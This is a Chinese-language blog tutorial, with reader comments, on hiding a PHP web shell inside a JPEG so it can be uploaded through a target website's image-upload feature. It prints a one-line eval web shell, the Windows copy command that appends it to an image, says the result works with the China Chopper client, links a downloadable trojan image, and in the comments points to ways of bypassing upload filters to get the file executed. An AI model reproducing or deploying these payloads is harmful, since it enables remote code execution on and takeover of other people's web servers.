木马及waf, 软件介绍

windows copy 制作图片php木马

一般拿站时候,需要上传个马儿到目标服务器,而大部分情况下,都是目标网站有个上传图片的地方被利用。因此,上传一个含有马儿的图片往往是最关键的异步。

那么,如何制作一个含有马儿的图片呢?

有专门的的工具,不过windows自带的copy就能实现这类功能,所以不推荐再用工具。

COPY指令:
将一个或多个文件进行复制拼接,生成一个新的目标文件。

语法:
COPY [options] [/A|/B] source [/A|/B] [+ source2 [/A|/B]...] [destination [/A|/B]]
COPY source1 + source2.. destination [options]

文件格式:

名称 描述
/A ASCII text file (default)
/B Binary file copy - will copy extended characters.
/D Allow the destination file to be created decrypted.
destination : Pathname for the new file(s).
/V Verify that the destination file, once written, can be read.
No comparison with the source files occurs.
/N If at all possible, create only short filenames (8.3) in the destination. This option can help when copying between disks that are formatted differently e.g NTFS and VFAT, or when archiving data to an ISO9660 CDROM.
/L If source is a symbolic link copy the link to the target instead of the actual file the source link points to.
/Y Suppress confirmation prompt, when overwriting files.
/-Y Enable confirmation prompt, when overwriting files.
/Z Copy files in restartable mode. If the copy is interrupted part way through, it will restart if possible. (use on slow networks)

编写1.php作为一句话木马:

<?php eval($_REQUEST[cmd]);?>

创建一个1.jpg的图片,一般情况下,要根据目标网站要求,设计符合要求的分辨率、大小的图片即可。

打开cmd命令行程序,由于图片是二进制(/B),php木马是文本文件(/A),我们生成图片木马为hack.jpg,windows不区分命令大小写,所以最终命令是:

copy 1.jpg /b + 1.php /a hack.jpg

如图,可以看到,新生成的hack.jpg可以被图片查看器打开,而使用16进制编辑器查看,我们可以看到木马被写进了图片中。

这种木马图片,菜刀是可以直接连接的。

最后,附一个包含php、asp的综合类木马图片。

qq表情木马下载

4 Comments

  1. kk

    你好。请问这木马图片是怎样嵌入PHP页面里,才能用菜刀连接上?
    我是用可连不上啊。

  2. kk

    把我的代码过滤了,我是用
    ImG SrC=images/zhizuomuma_2.gif

    • ranshy

      你好,这个就相当于一句话木马。用菜刀连接的前提是,你能将这个文件上传上去,并能让目标服务器访问这个木马。如果只是以gif形式传上去,目标服务器不会触发php解释的。因此,一般还要额外利用其它绕过方式,比如:
      1. 特殊的上传技巧,绕过PHP图片转换实现远程代码执行(RCE)
      http://www.freebuf.com/articles/web/54086.html
      2. 绕过图片格式限制上传木马获取WebShell
      http://www.cnblogs.com/tdcqma/p/5659270.html

      以上,希望对你有帮助。

  3. Hi, I check your blog regularly. Your story-telling style is awesome, keep up the good work!

Leave a Reply

黑ICP备15001596号